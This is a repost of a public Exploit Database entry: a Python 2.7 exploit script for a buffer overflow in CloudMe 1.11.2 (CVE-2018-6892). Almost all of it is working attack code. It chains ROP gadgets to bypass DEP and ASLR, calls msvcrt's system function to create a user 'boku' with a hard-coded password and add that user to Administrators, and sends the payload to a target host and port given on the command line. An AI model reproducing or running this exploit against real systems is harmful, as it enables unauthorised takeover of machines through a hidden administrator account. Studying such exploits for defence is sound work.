CloudMe 1.11.2 – Buffer Overflow ROP (DEP,ASLR)

• Exploit Database
• 91 阅读

• 作者： boku
  日期： 2020-09-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48840/

• # Exploit Title: CloudMe 1.11.2 - Buffer Overflow ROP (DEP,ASLR)
  # Exploit Author:Bobby Cooke (boku)
  # CVE: CVE-2018-6892
  # Date: 2020-09-29
  # Vendor Homepage: https://www.cloudme.com/
  # Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
  # Version: 1.11.2
  # Tested On: Windows 10 (x64) - 10.0.19041 Build 19041
  # Script:Python 2.7
  # Notes:
  # This exploit uses MSVCRT.System to create a new user (boku:0v3R9000!) and add the new user to the 
  # Administrators group. A requirement of successful exploitation is the CloudMe.exe process must be 
  # running as adminstrator, such as when ran with 'Run as Administrator'; as this permission is required 
  # to create new users on the system. This exploit has been tested against multiple Windows 10 systems 
  # including x86, x64, Pro, Education, Home; although there is no guarantee it will work in your CTF.
  
  # CloudMe 1.11.2 - Turing Complete Add-Admin ROP (DEP,ASLR)
  import os,sys,socket,struct
  from colorama import Fore, Back, Style
  
  F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
  B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
  S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
  ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]
  err= S[3]+F[2]+'<========'+F[2]+'['+F[5]+'+++'+F[2]+'( '+F[0]+S[0]
  def formatMsg(STRING):
  return ok+S[3]+F[5]+STRING+S[0]
  def formatErr(STRING):
  return err+S[3]+F[2]+STRING+S[0]
  
  # Base | Top| Rebase | SafeSEH | ASLR| NXCompat | OS Dll | Modulename
  #-------------------------------------------------------------------------------------------------------
  # 0x69900000 | 0x69ac1000 | False| False | False |False | False| [Qt5Network.dll]
  # 0x6eb40000 | 0x6eb64000 | False| False | False |False | False| [libgcc_s_dw2-1.dll]
  # 0x68a80000 | 0x69055000 | False| False | False |False | False| [Qt5Core.dll]
  # 0x00400000 | 0x00831000 | False| False | False |False | False| [CloudMe.exe]
  # 0x6d9c0000 | 0x6da0c000 | False| False | False |False | False| [Qt5Sql.dll]
  # 0x64b40000 | 0x64b5b000 | False| False | False |False | False| [libwinpthread-1.dll]
  # 0x66e00000 | 0x66e3d000 | False| False | False |False | False| [Qt5Xml.dll]
  
  def getESP_RC():
  GaDG3Tz = [
  # ESP -> EDI
  # Clobbers: BL # [EBX+5E5B10C4] must be writable # Requires ROPNOP
  # Address=68F79000 Size=0007A000 (499712.) Owner=Qt5Core68A80000 Section=.eh_fram Type=Imag 01001002 Access=RWE CopyOnWr 
  0x68bb4678, # POP EBX # RETN [Qt5Core.dll] 
  0x0A9C8F3C, # EBX + 0x5E5B10C4 = 0x68F7A000 = Writeable Memory
  0x68d5e818, # PUSH ESP # OR BL,DL # INC DWORD PTR DS:[EBX+5E5B10C4] # POP EDI # RETN 0x04 [Qt5Core.dll]
  0x68D50537, # RETN - ROPNOP
  0x68D50537# RETN - ROPNOP
  ]
  print(formatMsg("Get ESP ROP Chain built!"))
  return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
  
  def msvcrt_rop_chain():
  GaDG3Tz = [
  # HMODULE LoadLibraryA( LPCSTR lpLibFileName);
  # $ ==>>CALL to LoadLibraryA
  # $+4>FileName = "msvcrt.dll"
  # EAX = 0x512 = 1298
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFAEE, # NEG FFFFFAEE = 0x512
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EDI + EAX = End of string "msvcrt.dll"
  0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
  # EAX = 0x01
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFFF, # NEG FFFFFFfF = 0x01
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EAX = 0x0
  0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
  # ECX = 0x0
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll] 
  # Terminate String "msvcrt.dll"
  0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI)
  0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
  0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
  # EAX = -0xA = 0xFFFFFFF6
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFF6, # -0xA
  # ESI = Start of string "msvcrt.dll\x00"
  0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
  # EAX = PTR LoadLibraryA (from CloudMe Import Table)
  # CloudMe Address=0081A168 Section=.idata Type=Import(Known) Name=KERNEL32.LoadLibraryA
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFF7E5E98, # NEG FF7E5E98 = 0081A168 = PTR Kernel32.LoadLibraryA
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EAX = kernel32.LoadLibraryA
  0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] 
  # ESI = kernel32.LoadLibraryA # EAX = Addr string "msvcrt.dll\x00"
  0x68d50536, # XCHG EAX,ESI # RETN [Qt5Core.dll]
  # For PUSHAD we need: EDI=FarRETN # ESI=&LoadLibraryA # EAX=["msvcrt.dll"] # ECX=ROPNOP
  0x68d32800, # POP ECX # RETN [Qt5Core.dll]
  0x68D50537, # RETN - ROPNOP
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  0x6990F972, # RETN 10 [Qt5Network.dll] 
  0x68f7bc5e, # pushad # ret # [Qt5Core.dll]
  # EAX -> EBP = msvcrt.dll
  0x68cc462c# XCHG EAX,EBP # RETN [Qt5Core.dll]
  # EBP = msvcrt.dll
   ]
  print(formatMsg("LoadLibraryA(LPSTR \"msvcrt.dll\") ROP Chain built!"))
  return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
  
  def GetProc_system_rop_chain():
  GaDG3Tz = [
  # FARPROC GetProcAddress( HMODULE hModule, LPCSTRlpProcName);
  # $ ==>> CALL to GetProcAddress# EDX (ROPNOP)
  # $+4> hModule = [msvcrt]# ECX
  # $+8> ProcNameOrOrdinal(system) # EAX
  # EAX = 0x4a2 = 1186
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFB5E, # NEG FFFFFB5E = 0x4A2
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EDI + EAX = End of string "system"
  0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
  # EAX = 0x01
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFFF, # NEG FFFFFFfF = 0x01
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EAX = 0x0
  0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
  # ECX = 0x0
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
  # Terminate String "system"
  0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI)
  0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
  0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
  # EAX = -0x6 = 0xFFFFFFFA
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFFA, # -0x6
  # ESI = Start of string "system\x00"
  0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
  0x68fcf58d, # DEC EBP # RETN [Qt5Core.dll](fix EBP for prev gadgets) 
  # EAX = PTR GetProcAddr (from CloudMe Import Table)
  # CloudMe Address=0081A148 # Section=.idata # Type=Import # Name=KERNEL32.GetProcAddress
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFF7E5EB8, # NEG FF7E5EB8 = 0081A148 = PTR Kernel32.GetProcAddr
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  0x699030c5, # mov eax,dword ptr ds:[eax] [Qt5Network.dll] 
  0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
  # ESI = &kernel32.GetProcAddr # ECX=["system\x00"]# EBP=msvcrt.dll 
  # For PUSHAD we need: EDI=FarRETN # ESI=&GetProcAddress # ECX=msvcrt.dll # EAX=["system"]# EDX=ROPNOP
  # EBP -> EAX = msvcrt.dll
  0x68cc462c, # XCHG EAX,EBP # RETN [Qt5Core.dll]
  # ECX=&msvcrt.dll # EAX=["system\x00"]
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
  # EDX=ROPNOP
  0x68f94685, # POP EDX # RETN [Qt5Core.dll]
  0x68D50537, # RETN - ROPNOP
  # EDI=FarRETN
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  0x699010B4, # ret 0C [Qt5Network.dll] 
  #KERNEL32.GetProcAddress[ESI pushed to stack]
  # [EBP pushed to stack]
  # [ESP pushed to stack]
  # [EBX pushed to stack]
  # land after ret 0xC ->Qt5Core.68D50537 (ROPNOP)[EDX pushed to stack]
  #MSVCRT.75F60000[ECX pushed to stack]
  #ASCII "system" [EAX pushed to stack]
  0X68f7bc5e, # pushad # ret # [Qt5Core.dll]
  0x68b1df17# XCHG EAX,EDX # RETN # [Qt5Core.dll]
  # EDX = msvcrt.system
   ]
  print(formatMsg("GetProcAddress(HMODULE msvcrt, LPCSTR system) ROP Chain built!"))
  return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
  
  def addUsr_rop_chain():
  GaDG3Tz = [
  # int system( const char *command);
  # $ ==>> CALL to system
  # $+4> command = "net user boku 0v3R9000! /add"
  # EAX = 0x438 = 1080 
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFBC8, # NEG 0xFFFFFBC8 = 0x438
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EDI + EAX = End of string "net user..."
  0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
  # EAX = 0x01
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFFF, # NEG FFFFFFfF = 0x01
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EAX = 0x0
  0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
  # ECX = 0x0
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
  # Terminate String "net user..."
  0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI)
  0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
  0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
  # EAX = -28 = -0x1C = 0xFFFFFFE4
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFE4, #-28 = -0x1C
  # ESI = Start of string "net user...\x00"
  0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
  # EDX = MSVCRT.system # ECX=0x0
  # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net user.."] # ECX=POP+RET
  0x68d32800, # POP ECX # RETN [Qt5Core.dll]
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  # ESI = MSVCRT.system # EAX = ["net user.."]
  0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
  0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
  # EDI=FarRETN
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  0x6990F972, # RETN 10 [Qt5Network.dll] 
  # PUSHAD - Setup Call to MSVCRT.system on stack
  0X68f7bc5e# pushad # ret # [Qt5Core.dll]
   ]
  print(formatMsg("system(const char* \"net user boku 0v3R9000! /add\") ROP Chain built!"))
  return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
   
  def addAdm_rop_chain():
  GaDG3Tz = [
  # ESI = msvcrt.system
  # ESI -> EDX
  0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
  0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
  # EAX = 0x3F7 
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFC09, # NEG 0xFFFFFC09 = 0x3F7
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EDI + EAX = End of string "net local..."
  0x68fc83b0, # add edi, eax # add eax, 41140e0a # ret [Qt5Core.dll] 
  # EAX = 0x01
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFFF, # NEG FFFFFFfF = 0x01
  0x68cef5b2, # NEG EAX # RETN [Qt5Core.dll]
  # EAX = 0x0
  0x68c7aa16, # DEC EAX # RETN [Qt5Core.dll]
  # ECX = 0x0
  0x68be726b, # XCHG EAX,ECX # RETN [Qt5Core.dll]
  # Terminate String "net local..."
  0x68cee06d, # XOR ESI,ESI # RETN[Qt5Core.dll](Clear ESI)
  0x68fbed52, # ADD ESI,EDI # ADD AL,0A # RETN [Qt5Core.dll] (EDI -> ESI)
  0x68fa9d0d, # mov [esi], cl # adc al, 41 # ret [Qt5Core.dll]
  # EAX = -39 = -0x27 = 0xFFFFFFE4
  0x68aec6ab, # POP EAX # RETN [Qt5Core.dll]
  0xFFFFFFD9, #-39 = -0x27
  # ESI = Start of string "net local...\x00"
  0x68c050c0, # ADD ESI,EAX # INC EBP # RETN [Qt5Core.dll]
  # EDX = MSVCRT.system # ECX=0x0
  # For PUSHAD we need: EDI=FarRETN # ESI=MSVCRT.system # EAX=["net local.."] # ECX=ROPNOP
  0x68d32800, # POP ECX # RETN [Qt5Core.dll]
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  # ESI = MSVCRT.system # EAX = ["net local.."]
  0x68b1df17, # XCHG EAX,EDX # RETN # [Qt5Core.dll]
  0x68b48196, # XCHG EAX,ESI # RETN [Qt5Core.dll]
  # EDI=FarRETN
  0x699f37ad, # POP EDI # RETN [Qt5Network.dll]
  0x6990F972, # RETN 10 [Qt5Network.dll] 
  # PUSHAD - Setup Call to MSVCRT.system on stack
  0X68f7bc5e# pushad # ret # [Qt5Core.dll]
   ]
  print(formatMsg("system(const char* \"net localgroup Administrators boku /add\") ROP Chain built!"))
  return ''.join(struct.pack('<I', _) for _ in GaDG3Tz)
   
  def sendRecv(s,p):
  print(formatMsg("Sending payload: "))
  print(S[3]+F[7]+payload+S[0])
  s.send(p)
  data = s.recv(1024)
  return data
  
  def header():
  head = S[3]+F[2]+' --- Cloudme v1.12 | Add Admin (boku:0v3R9000!) ---\n'+S[0]
  return head
   
  def sig():
  SIG= S[3]+F[4]+" .-----.._ ,--.\n"
  SIG += F[4]+" |..>___ || .--.\n"
  SIG += F[4]+" ||.','-'"+F[2]+"* *"+F[4]+"'-. |//__ __\n"
  SIG += F[4]+" |</ "+F[2]+"***"+F[4]+" \ / \\/ \\\n"
  SIG += F[4]+" ||> )"+F[2]+" * *"+F[4]+" /\\\\\n"
  SIG += F[4]+" |____..- '-.._..-'_|\\___|._..\\___\\\n"
  SIG += F[4]+" _______"+F[2]+"github.com/boku7"+F[4]+"_____\n"+S[0]
  return SIG
  
  def footer():
  foot = formatMsg('Requires that the Cloudme program is ran using \'Run As Administrator\'\n')
  return foot
  
  if __name__ == "__main__":
  print(header())
  print(sig())
  print(footer())
  if len(sys.argv) != 3:
  print(formatErr("Usage: python %s <IP> <PORT>" % sys.argv[0]))
  print(formaterr("Example: python %s '127.0.0.1' 8888" % sys.argv[0]))
  sys.exit(-1)
  host = sys.argv[1]
  port = int(sys.argv[2])
  
  rop_chain = getESP_RC() + msvcrt_rop_chain() + getESP_RC() + GetProc_system_rop_chain() + getESP_RC() + addUsr_rop_chain() + getESP_RC() + addAdm_rop_chain()
  
  os_EIP= '\41'*1052
  os_nSEH = '\x41'*(2344-len(os_EIP + rop_chain))
  nSEH= '\x42'*4
  SEH = '\x43'*4
  buff= os_EIP + rop_chain + os_nSEH + nSEH + SEH
  
  term = '\r\n'
  kern32 = 'msvcrt.dll'+'AAAAAA'
  winExe = 'system'+'BBBBBB'
  addUsr = 'net user boku 0v3R9000! /add'+'CCCC'
  addAdm = 'net localgroup Administrators boku /add'+'DDDD'
  rmdr = '\x44'*(3854-len(buff)-len(kern32)-len(winExe)-len(addAdm))
  payload = buff + kern32 + winExe + addUsr + addAdm + rmdr + term
  
  try:
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  sock.connect((host,port))
  print(formatMsg( "Successfully connected to "+host+" on port "+str(port)))
  resp = sendRecv(sock,payload)
  print(formatMsg("Closing Socket"))
  sock.close()
  print(formatErr("Exiting python script."))
  except:
  print(formatErr("Failed to connect and send payload."))
  

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